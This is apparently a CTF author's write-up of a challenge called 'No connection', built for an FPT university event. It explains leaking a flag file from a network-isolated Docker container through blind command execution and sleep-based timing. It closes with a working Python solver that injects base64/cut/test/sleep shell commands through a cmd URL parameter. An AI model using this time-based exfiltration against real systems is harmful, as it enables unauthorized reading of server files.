On 16 July 2022, FPT university hosted a CTF for their students and kindly asked if I could create a CTF challenge for them. Plus lately I was looking into DNS servers, so I decided to create a challenge that we could exfiltrate server’s data via DNS requests.
Then, I tried writing a docker image that blocks outgoing HTTP requests and only allow outgoing DNS requests, however I got no luck in doing that. Instead, I could create a docker image that blocks ALL outgoing traffics by using this blog.
I tried to change the docker a little bit to allow DNS outgoing, but soon I realized that: “How about I allow them to run any commands and retain the no connection docker image” ? That’s what leads to my challenge.
Currently, all my CTF challenges are hosted on https://anctf.tk/ and the coresponding challenge of this post is named
No connection. Please feel free to look into it 😉
Basically we can run any shell commands, but we cannot see any response, and the docker does not allow opening a new connection to outside environment.
Thus, the first impression is to recognize this as blind RCE. And in order to exfiltrate data from the server, could we introduce any signal (because we’re blind after all) ?
Then, the second thought should occur: there’s sleep function in shell scripting. So the idea to exfiltrate data is simple, we could
cat /msg_with_flag.txt file, the file should contains some weird characters so it’d be best to base64 it. Then for each characters we can use
cut command to get 1 character out to use
test to check if it is equal to some character or not, if it does equal then we sleep 1, basic as that.
Here is my
import requests import time charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" # Change this SERVER_URL = "http://localhost:34257?cmd=" def ifFlagIEqualChar(i, c): # Sleep 1 if flag.txt[$i] equals char $c cmd = """f=`cat /msg_with_flag.txt|base64 -w0| cut -c %d-%d`;[ $f != %s ]; sleep $?""" % (i+1,i+1, c) start_time = time.time() r = requests.get(SERVER_URL + cmd) end_time = time.time() if (end_time - start_time > 1): return True return False etcps="" i = 0 while True: print(etcps) found = False for c in charset: if ifFlagIEqualChar(i, c): i += 1 found = True etcps += c break if not found: break print("================") print(etcps)